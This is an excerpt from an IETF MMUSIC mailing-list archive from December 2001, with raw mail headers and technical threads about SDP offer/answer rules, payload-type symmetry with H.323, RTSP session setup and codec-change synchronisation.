> specify
> the same PT for the "forward" and the "reverse" audio channel, though
> that
> is not required.For channels opened with knowledge learned through
> (2),
> there is certainly no guarantee of symmetric payload types.
> Additionally,
> there has not been a sense that such a restrictive requirement is
> necessary.
> 
> Media clipping is not an issue in (1) any more so than when using
> SDP-based
> protocols.  However, the use of (2) alone certainly might increase the
> chances of clipping media, as the PTs may not be known at the calling
> endpoint before media is received.  Hence, method (1) is strongly
> encouraged, with method (2) used to provide information about
> capabilities
> that may be utilized during or after call setup that less time
> sensitive,
> such as T.120 multipoint data conferencing.  (2) is also used in order
> to
> establish A/V communication wherein the proposals from (1) are not
> acceptable to the called party.
> 
> In any case, interoperability between the two systems when using dynamic
> payload types is a real issue that we need to tackle.
> 
> Paul
> 
> ----- Original Message -----
> From: "Flemming Andreasen" <fandreas@cisco.com>
> To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
> Cc: "MMUSIC" <confctrl@isi.edu>; <mmusic@ietf.org>; "Paul E Jones"
> <paulej@cisco.com>
> Sent: Thursday, December 20, 2001 1:36 PM
> Subject: Re: [MMUSIC] Why must PT be the same in send and receive
> direction
> ?
> 
> 
> 
>>
>>Jonathan Rosenberg wrote:
>>
>>
>>>Flemming Andreasen wrote:
>>>
>>>
>>>>The offer/answer model is quite explicit in stating that the
>>>>
> payload
> 
>>>>type for a given codec MUST be the same in the send and receive
>>>>direction and hence the payload type mapping for codec X in MUST
>>>>
> be
> the
> 
>>>>same in the offer and answer. However, this can cause a great deal
>>>>
> of
> 
>>>>grief when interworking with H.323 based systems, since they can't
>>>>necessarily guarantee this property.
>>>>
>>>>Now I can't think of a lot of reasons for the above offer/answer
>>>>restriction, except that it guarantees a proper interpretation of
>>>>
> a
> 
>>>>given payload type prior to receiving the actual answer to the
>>>>
> offer.
> 
>>>Well, thats a good one. You are guaranteed to have media clipping
>>>without this feature.
>>>
>>>
>>Not quite: you are not guaranteed to not have media clipping without
>>this
>>feature.
>>
>>
>>>It also makes it easy for the offerer to determine, from the answer,
>>>
> the
> 
>>>matching of codecs in the offer to the answer. Its a simple numeric
>>>comparison.
>>>
>>True
>>
>>
>>>Without the same PT numbers, you need to do a
>>>canonicalization based on the actual codec and parameters. Even
>>>
> minor
> 
>>>inconsistencies in the construction of the rtpmaps in the answer can
>>>cause confusion about which codec is which.
>>>
>>Not sure I see that. The only rule we have right now is that the
>>
> payload
> 
>>type
>>mapping must be the same in both directions, hence the only difference
>>is
>>whether you follow a dynamic payload type mapping to its canonical
>>
> name
> 
>>or
>>not.
>>
>>
>>
>>>Its also consistent with multicast operation.
>>>
>>>Overall, I think its just simpler.
>>>
>>I agree with that, but I don't see a huge difference.
>>
>>
>>
>>>>Unless there is another good reason for the restriction, I would
>>>>
> like
> to
> 
>>>>propose, that we allow it to be relaxed, i.e. turn it into a
>>>>
> SHOULD
> and
> 
>>>>put in a proper note explaining what might happen if you don't
>>>>
> follow
> 
>>>>it.
>>>>
>>>Well, this turns into an interop nightmare for sip. We will have a
>>>complete interop failure if a new UA generates an answer with
>>>
> different
> 
>>>payload types.
>>>
>>>This text has also been in there for a very long time.
>>>
>>I know and that's a big concern to me too (if we were to make any
>>changes).
>>
>>
>>
>>>How come no one
>>>complained about this H.323 issue before? Its the first I've heard
>>>
> of
> it.
> 
>>Don't know, but it's apparently been around for a while. My H.323
>>expertise is
>>admittedly a little rusty (cc'ing more knowledgeable people here), but
>>
> I
> 
>>believe the problem is that the H.245 OpenLogicaChannel request can be
>>used to
>>open a uni-directional or bi-directional stream, however in either
>>
> case,
> 
>>it is
>>possible that the sender and receiver end up specifying different
>>payload type
>>mappings for a given codec. This is particular troublesome in the case
>>where
>>the two sides open a uni-directional stream to the other side in
>>parallel.
>>
>>Given the long-standing existing SDP/offer/answer baggage we have
>>
> here,
> 
>>I
>>believe you need to go for the lowest common denominator when mapping
>>between
>>SIP/SDP and H.323, and hence H.323 should have procedures in place to
>>resolve
>>asymmetric payload type mappings in cases where you need symmetry, but
>>
> I
> 
>>wanted to raise the issue here to see what people think.
>>
>>Thanks
>>
>>        Flemming
>>
>>
>>>-Jonathan R.
>>>
>>>--
>>>Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
>>>Chief Scientist                         First Floor
>>>dynamicsoft                             East Hanover, NJ 07936
>>>jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
>>>http://www.jdrosen.net                  PH:  (973) 952-5000
>>>http://www.dynamicsoft.com
>>>
>>>_______________________________________________
>>>mmusic mailing list
>>>mmusic@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/mmusic
>>>
>>--
>>Flemming Andreasen
>>Cisco Systems
>>
>>
> 


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 26 08:06:37 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA10417
	for confctrl-outgoing; Wed, 26 Dec 2001 08:06:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10412
	for <confctrl@zephyr.isi.edu>; Wed, 26 Dec 2001 08:06:36 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBQG7Rg17275
	for <confctrl@isi.edu>; Wed, 26 Dec 2001 08:07:27 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBQG7AVZ002712;
	Wed, 26 Dec 2001 11:07:10 -0500 (EST)
Message-ID: <3C29F58C.1080207@dynamicsoft.com>
Date: Wed, 26 Dec 2001 11:06:36 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Magnus Westerlund <magnus.westerlund@era.ericsson.se>
CC: IETF MMUSIC WG <confctrl@ISI.EDU>, mmusic@ietf.org
Subject: Re: [MMUSIC] Using Offer/Answer SDP model in RTSP?
References: <3C21E4C1.7FF7389F@era.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Magnus Westerlund wrote:

> Hi,
> 
> I have been considering a change to RTSP that would allow the
> transportation of SDP messages in the RTSP method SETUP. This would make
> it possible to have the client make selection from alternatives received
> in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
> have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
> spotted a least one thing preventing RTSP from using it. That is the how
> a media line with port 0 shall be interpreted. In RTSP a medialine port
> 0 says that the server has no preference on what port number the client
> shall use. The actual exchange of port numbers are made in the SETUP
> message's transport header. The offer/answer draft says that a medialine
> with port 0 should not be used.


The problem here is that in the RTSP usage, there is additional session 
establishment exchanges outside the scope of O/A. THe O/A draft assumes 
that it has to be responsible for exchanging all of the information 
needed, in which case it makes no sense for a semantic of the type you 
describe.

However, if there was consensus to add such a feature in order to 
support RTSP, it would be my preference to NOT overload the port number 
as we have done already, and rather define an explicit attribute that 
says "port number will actually be determined through some other means".

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 26 08:25:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA11071
	for confctrl-outgoing; Wed, 26 Dec 2001 08:25:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11066
	for <confctrl@zephyr.isi.edu>; Wed, 26 Dec 2001 08:25:22 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBQGQDg19901
	for <confctrl@ISI.EDU>; Wed, 26 Dec 2001 08:26:13 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBQGPsVZ002743;
	Wed, 26 Dec 2001 11:25:54 -0500 (EST)
Message-ID: <3C29F9F9.1070407@dynamicsoft.com>
Date: Wed, 26 Dec 2001 11:25:29 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Orit Levin <orit@radvision.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: ISSUES 5, 3 (and a new one) in offer/answer
References: <0D5BBF5D638DD4119E3400508BD949459ED792@RADVPOST>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Orit Levin wrote:

> 
> ISSUE 5: Unidirectional codecs in a bidirectional stream. Consensus was 
> to disallow this in the baseline offer/answer. Thats what FID is for.
> Anything else is a hack.
> 
> If we decided to refer to the draft-ietf-mmusic-fid-05.txt draft, I
> would do
> it as fully and precise as possible to avoid future questions:
> "In case the offerer needs to express a single m-line semantics (as
> defined
> by this document) with the only exception that some of the attributes
> (such
> as a direction) differ per CODEC, the group attribute with FID semantics
> (as
> specified in draft-ietf-mmusic-fid-05.txt) MUST be used."


I had not planned to reference FID, just to remove this bit from the O/A 
spec about including receive-only codecs in the answer line. Reducing 
dependencies is a good thing. I see little need for the reference.


> 
> ISSUE 3: Multiple streams of the same type. See the slides for the 
> issue. My proposal was accepted, with the caveat that we would add 
> wording to clarify that the default operation is NOT to copy media from 
> your own local sinks to sources, unless you happen to be a conference 
> server.
> 
> I agree with the resolution and (if I understood it correctly) the
> following
> may summarize it:
> "Both the offerer and the answerer MUST use all the media streams that
> they
> have accepted. The actual usage is defined by the application itself. By
> default, this document doesn't define application specific association
> among
> separate media streams. Common cases for such associations MAY be
> standardized and expressed by using the group attribute as specified in
> the
> draft-ietf-mmusic-fid-05.txt."


I don't see what the FID business has to do with it. I agree with what 
you have said in the first sentence; part of the proposal was to say 
that you have do present to the user all accepted media streams.


> 
> AN ADDITIONAL ISSUE:
> I feel that I am throwing a small bomb here, but it justifies the
> (backwards
> compatibility) purpose. 
> If with time the draft-ietf-mmusic-fid-05.txt technique becomes commonly
> implemented, I suggest that the authors and the implementers consider a
> specification and support allowing for the sessions with the group+mid
> attributes in use, receiving a subset of m-lines only, assuming that the
> rest is unchanged. The draft-ietf-mmusic-fid-05.txt already has the
> following statement:
> "All the "m" lines of a session description that uses "group" MUST be
> identified with an "mid" attribute whether they appear in the group
> line(s)
> or not."
> Based on that, if sometime in future the semantics for partial
> Offer-Answer
> is introduced (because of the MTU size or bandwidth considerations) the
> backwards compatibility would be in place already! Please, note, that it
> doesn't affect the baseline mandatory Offer-Answer model.


First off, this has nothing to do with O/A.

Secondly, I strongly disagree with what you propose, and I believe we 
have been down this path already. Having the INVITE requests effectively 
work like soft-state, carrying full SIP and SDP state, has numerous 
advantages for fault tolerance and robustness, many of which are used 
advantageously in shipping products today. By sending partial SDP, we 
destroy that benefit, and tread into the ugly waters of guarnteeing 
syncrhonization in order to ensure that both sides maintain a consistent 
view of the SDP.

If you are worried about SDP size, that is why compression exists. 
draft-ietf-sip-guidelines is very explicit on this as well - don't 
scrape off bits here and bits there in the interests of bandwidth 
savings, and the expense interoperability, complexity, and all other 
sorts of bad things.

-Jonathan R.




-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 26 10:03:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA14174
	for confctrl-outgoing; Wed, 26 Dec 2001 10:03:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA14169
	for <confctrl@zephyr.isi.edu>; Wed, 26 Dec 2001 10:03:19 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBQI4Ag03621
	for <confctrl@isi.edu>; Wed, 26 Dec 2001 10:04:10 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBQI3mVZ002786;
	Wed, 26 Dec 2001 13:03:48 -0500 (EST)
Message-ID: <3C2A10EB.9030900@dynamicsoft.com>
Date: Wed, 26 Dec 2001 13:03:23 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer
References: <3C22C8A7.3EAB9B9@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Flemming Andreasen wrote:

> 
> Jonathan Rosenberg wrote:

>>  is not the same as the previous, and overlaps in some way, you
>>basically use a new dynamic PT for each codec. THis way, when the UA
>>receives media with one of those new PT, it can unload any of the
>>codecs which no longer overlap.
>>
>>Since the meeting, I have become worried about this.
>>
> 
> I agree. Also, it doesn't work with static payload types not to mention
> that
> I suspect most implementations don't do this kind of thing.


Good point on static payload types.


>>1. change the ssrc when you send with the new codec set. The receiver
>>can drop uneeded codecs when it sees the new ssrc. This only works for
>>unicast.
>>
> 
> Actually, I don't even think it does. If you have multiple senders
> sending
> media to you, how do you know which SSRC corresponds to which sender ?
> Also,
> it is possible than an SSRC change might happen for other reasons
> (admittedly, we are getting down to a rather small window for this
> race).


Realistically, for this to work, you would need to include the actual 
SSRC rather than simply waiting for a change in the ssrc. That would 
resolve the issues you raise above, but requires an additional SDP 
parameter.

Its worth noting that there is another advantage of the ssrc parameter, 
which is that it will allow us to correlate a media stream from a 
particular source to a specific dialog, in the event the demux is not 
done at the port level. This will happen in the case where we have a 
forked INVITE that results in two 200 OK. Each answerer will end up 
sending to the same offererd port. Having something in the answer, like 
the ssrc, which will allow for disambiguation, would help.

Of course, there is the associated ugliness with collisions resulting in 
a change in ssrc....

However, this proposal is worth further consideration. It gives us an 
explicit, reliable, rapid way to associate media streams with signaling, 
and I think thats fairly valuable. I will admit that changing SSRC might 
introduce some confusion into systems; I welcome inputs on specific 
problems it might cause.


>>2. change in set of codecs has to also be accompanied by a port
>> change; when you see data on the new port, you can unload any unneeded codecs.
>>
> 
> However, such a requirement interacts with resource reservation in a
> negative way so I'd rather not do that. Out-of-order delivery could also
> lead to unnecesarry discard of some packets (small window again
> admittedly).


Good point on the resource reservation. It would also force SRTP 
rekeying for the same reasons. There is also the general "don't use 
addresses/ports for application layer indications" as these eventually 
get you in trouble with nat. No need to add more such things at this time.


> 
> Fundamentally, I don't believe the synchronization problem can be solved
> completely and hence we end with a heuristic no matter what. In tha
> case,
> I'd prefer something very simply that doesn't rely on SSRC's, sequence
> numbers or is tied to the specifics of the media stream in any other
> way. I
> will contend, that if the answerer sends a media packet and an answer at
> time t, then in practice it is *very* likely that the media packet will
> arrive no later than the answer at the offerer. In practice, this means
> that
> the offerer MAY simply stop accepting according to the old offer at the
> time
> it receives the answer.


This is more or less exactly what I proposed initially in the meeting; I 
just added 1m for safety.


> 
> Also note that this issue applies equally well to the answerer, i.e. at
> what
> point does the answerer stop accepting media according to the old
> offer/answer exchange (I don't believe there was any text proposed for
> this). This problem is actually worse inasmuch as the answerer doesn't
> know
> when/if the offerer actually got the answer (not that I'm proposing it,
> but
> it's hard to see how you can solve this without a 3-way handshake).


The SSRC proposal above would solve that.


> 
> One idea would be to put constraints on allowable operation while there
> is
> an outstanding offer in place. More specifically, if the current media
> stream has codecs X and Y as allowable codecs and the new offer has
> codec X
> and Z as allowable codecs, then you should not send media with codec Y
> while
> the offer is outstanding. That way, the answerer can stop listening for
> codec Y at the time the answer is sent. However, in practice this is
> probably not all that desirable, e.g. consider the case where X is RFC
> 2833,
> and Y and Z are voice codecs, or the case where X is a high-bw codec
> needed
> for voiceband date transfer and Y and Z are codecs used for normal
> voice.


It also wouldn't work in the case where the new offer has no codecs in 
common with the old. Furthermore, if the intersecting codec was not the 
highest preference one, you would end up using this intermediate codec 
for just one RTT, that probably won't sound all that great.


-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Wed Dec 26 14:04:31 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA22526
	for confctrl-outgoing; Wed, 26 Dec 2001 14:04:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA22521
	for <confctrl@zephyr.isi.edu>; Wed, 26 Dec 2001 14:04:30 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBQM5Lg16751
	for <confctrl@isi.edu>; Wed, 26 Dec 2001 14:05:21 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBQM50VZ002868;
	Wed, 26 Dec 2001 17:05:00 -0500 (EST)
Message-ID: <3C2A4972.7050101@dynamicsoft.com>
Date: Wed, 26 Dec 2001 17:04:34 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: "Drage, Keith (Keith)" <drage@lucent.com>, sip@ietf.org, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: [Sip] Open Issue #150: too many ways of saying "	don't  send me media"
References: <3C22B0AC.2E1DDE79@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Flemming Andreasen wrote:

> 

>>The semantics are:
>>
>>c=0.0.0.0: will cease reception of RTP and RTCP, no longer the
>>recommended way to do hold, has issues with SRTP keying, ipv6,
>>connection oriented media, etc. Generally bad.
>>
>>a=inactive/sendonly - stops only RTP
>>
>>port 0: turns of media streams - safe to unload codecs, etc.
>>
>>bw=0: will turn off reception of RTP and RTCP
>>
> 
> Do we really need the "bw" one ?


No, its not really NEEDED. The point Henning had made at IETF is that 
the treatment for any bandwidth number is well defined; in that case, 
disallowing zero is a special case. I see no reason to disallow it as a 
special case when it has defined meaning for all values.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Thu Dec 27 03:12:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA18130
	for confctrl-outgoing; Thu, 27 Dec 2001 03:12:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA18125
	for <confctrl@zephyr.isi.edu>; Thu, 27 Dec 2001 03:12:12 -0800 (PST)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBRBD3g16843
	for <confctrl@ISI.EDU>; Thu, 27 Dec 2001 03:13:03 -0800 (PST)
Received: from smtpscan-nl2.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id MAA18211;
          Thu, 27 Dec 2001 12:12:30 +0100 (CET)
          (envelope-from philippe.gentric@philips.com)
From: philippe.gentric@philips.com
Received: from smtpscan-nl2.philips.com(130.139.36.22) by gw-nl4.philips.com via mwrap (4.0a)
	id xma018207; Thu, 27 Dec 01 12:12:31 +0100
Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl2.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id MAA22527; Thu, 27 Dec 2001 12:12:45 +0100 (MET)
Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.212]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id MAA17673; Thu, 27 Dec 2001 12:12:45 +0100 (MET)
To: Rob Lanphier <robla@real.com>
Cc: confctrl@ISI.EDU, magnus.westerlund@era.ericsson.se, mmusic@ietf.org
Subject: Re: [MMUSIC] Re: Using Offer/Answer SDP model in RTSP?
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF9A340E64.59640FDF-ONC1256B2F.003C8796@diamond.philips.com>
Date: Thu, 27 Dec 2001 12:09:27 +0100
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.5 |September
 22, 2000) at 27/12/2001 12:30:20,
	Serialize complete at 27/12/2001 12:30:20
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 003DCD99C1256B2F_="
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 003DCD99C1256B2F_=
Content-Type: text/plain; charset="us-ascii"

rob,

I agree that offer/answer may not be the right solution...
(and I suspect SIP people do not care that much about RTSP ;-)

I am puzzled however that several people are
trying to solve issues that are similar in different fashions.

I agree that that the player may support a long list of 
codec/configuration is one
typical thing in the PC world of today, i.e. client more versatile than 
server.

This argument however does not take into account request routing
front ends that are aware of many different servers ...
this would be the case of a major portal server supporting
zillions of options/codecs/formats and
many different client devices each supporting a proportionaly
much smaller number of formats...
In which case expressing the client capabilities 
may be "less expensive" than expressing the server capabilities ...

the general need seems to be:

* the negociation between server and client to find the best fit could use 
SDP ... 
if we had a way to send SDP from client to server in the RTSP context.

* I would prefer to have a method that is flexible in terms
of who is starting, i.e. who is sending the original offer

* I agree that the list may be long and that "compressing" it
may prove usefull, in a second stage

* also maybe several round trips should be possible
as an iterative best match discovery procedure (longer
to wait, but less to transport ?) ?

* BTW  SDPng is supposed to solve all this using the <alt> feature
but I am not sure how this would fit with RTSP ?


Regards,


Philippe Gentric
Software Architect
Philips MP4Net
philippe.gentric@philips.com
http://www.mpeg-4.philips.com




Rob Lanphier <robla@real.com>
12/20/2001 18:44

 
        To:     Philippe Gentric/LIM/CE/PHILIPS@EMEA1
        cc:     magnus.westerlund@era.ericsson.se
<confctrl@ISI.EDU>
<mmusic@ietf.org>
        Subject:        Re: [MMUSIC] Re: Using Offer/Answer SDP model in RTSP?
        Classification: 



On Thu, 20 Dec 2001 philippe.gentric@philips.com wrote:
> Yes, I too have remarked that being able to exchange a SDP
> in the RTSP framework would be usefull, the offer/anwser
> context is one, the MIKEY draft is another and proposes a solution,
> I have proposed to use a RTSP setParameter (but I recognize
> it may not be the best idea)

I think there's plenty of room for optimizing the setup of RTSP sessions.
However, I'm not sure offer answer makes sense.  With RTSP, the client
generally supports a lot more datatypes, and the server is constrained by
what encoding the content is already in.  As a result, the client would
need to make a huge offer, only to get a response from the server that
bears little resemblance to the offer.

Rob


> Magnus Westerlund <magnus.westerlund@era.ericsson.se>@ISI.EDU on 
12/20/2001 14:16:49
>
> Sent by:  owner-confctrl@ISI.EDU
>
>
> To:     IETF MMUSIC WG <confctrl@ISI.EDU>
>         mmusic@ietf.org
> cc:      (bcc: Philippe Gentric/LIM/CE/PHILIPS)
> Subject:  Using Offer/Answer SDP model in RTSP?
> Classification:
>
>
> Hi,
>
> I have been considering a change to RTSP that would allow the
> transportation of SDP messages in the RTSP method SETUP. This would make
> it possible to have the client make selection from alternatives received
> in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I
> have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have
> spotted a least one thing preventing RTSP from using it. That is the how
> a media line with port 0 shall be interpreted. In RTSP a medialine port
> 0 says that the server has no preference on what port number the client
> shall use. The actual exchange of port numbers are made in the SETUP
> message's transport header. The offer/answer draft says that a medialine
> with port 0 should not be used.
>
> So how do you see the possibilities to use offer/answer for such a
> mechanism? What changes are in that case need in the offer/answer draft?
>
> Regards
>
> Magnus Westerlund
>
> Audio Technology, Ericsson Research
> ----------------------------------------------------------------------
> Ericsson Radio Systems AB  | Phone +46 8 4048287
> Torshamsgatan 23           | Fax   +46 8 7575550
> S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se
>
>
>
>
>
>
>
>
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic
>




--=_alternative 003DCD99C1256B2F_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">rob,</font>
<br>
<br><font size=2 face="sans-serif">I agree that offer/answer may not be the right solution...</font>
<br><font size=2 face="sans-serif">(and I suspect SIP people do not care that much about RTSP ;-)</font>
<br>
<br><font size=2 face="sans-serif">I am puzzled however that several people are</font>
<br><font size=2 face="sans-serif">trying to solve issues that are similar in different fashions.</font>
<br>
<br><font size=2 face="sans-serif">I agree that that the player may support a long list of codec/configuration is one</font>
<br><font size=2 face="sans-serif">typical thing in the PC world of today, i.e. client more versatile than server.</font>
<br>
<br><font size=2 face="sans-serif">This argument however does not take into account request routing</font>
<br><font size=2 face="sans-serif">front ends that are aware of many different servers ...</font>
<br><font size=2 face="sans-serif">this would be the case of a major portal server supporting</font>
<br><font size=2 face="sans-serif">zillions of options/codecs/formats and</font>
<br><font size=2 face="sans-serif">many different client devices each supporting a proportionaly</font>
<br><font size=2 face="sans-serif">much smaller number of formats...</font>
<br><font size=2 face="sans-serif">In which case expressing the client capabilities </font>
<br><font size=2 face="sans-serif">may be &quot;less expensive&quot; than expressing the server capabilities ...</font>
<br>
<br><font size=2 face="sans-serif">the general need seems to be:</font>
<br>
<br><font size=2 face="sans-serif">* the negociation between server and client to find the best fit could use SDP ... </font>
<br><font size=2 face="sans-serif">if we had a way to send SDP from client to server in the RTSP context.</font>
<br>
<br><font size=2 face="sans-serif">* I would prefer to have a method that is flexible in terms</font>
<br><font size=2 face="sans-serif">of who is starting, i.e. who is sending the original offer</font>
<br>
<br><font size=2 face="sans-serif">* I agree that the list may be long and that &quot;compressing&quot; it</font>
<br><font size=2 face="sans-serif">may prove usefull, in a second stage</font>
<br>
<br><font size=2 face="sans-serif">* also maybe several round trips should be possible</font>
<br><font size=2 face="sans-serif">as an iterative best match discovery procedure (longer</font>
<br><font size=2 face="sans-serif">to wait, but less to transport ?) ?</font>
<br>
<br><font size=2 face="sans-serif">* BTW &nbsp;SDPng is supposed to solve all this using the &lt;alt&gt; feature</font>
<br><font size=2 face="sans-serif">but I am not sure how this would fit with RTSP ?</font>
<br>
<br>
<br><font size=2 face="sans-serif">Regards,</font>
<br><font size=2 face="sans-serif"><br>
<br>
Philippe Gentric<br>
Software Architect<br>
Philips MP4Net<br>
philippe.gentric@philips.com<br>
http://www.mpeg-4.philips.com</font>
<br>
<br>
<br>
<table width=100%>
<tr valign=top>
<td>
<td><font size=1 face="sans-serif"><b>Rob Lanphier &lt;robla@real.com&gt;</b></font>
<p><font size=1 face="sans-serif">12/20/2001 18:44</font>
<br>
<td><font size=1 face="Arial">&nbsp; &nbsp; &nbsp; &nbsp; </font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; To: &nbsp; &nbsp; &nbsp; &nbsp;Philippe Gentric/LIM/CE/PHILIPS@EMEA1</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; cc: &nbsp; &nbsp; &nbsp; &nbsp;magnus.westerlund@era.ericsson.se<br>
&lt;confctrl@ISI.EDU&gt;<br>
&lt;mmusic@ietf.org&gt;</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Subject: &nbsp; &nbsp; &nbsp; &nbsp;Re: [MMUSIC] Re: Using Offer/Answer SDP model in RTSP?</font>
<p><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Classification: &nbsp; &nbsp; &nbsp; &nbsp;</font>
<br></table>
<br>
<br>
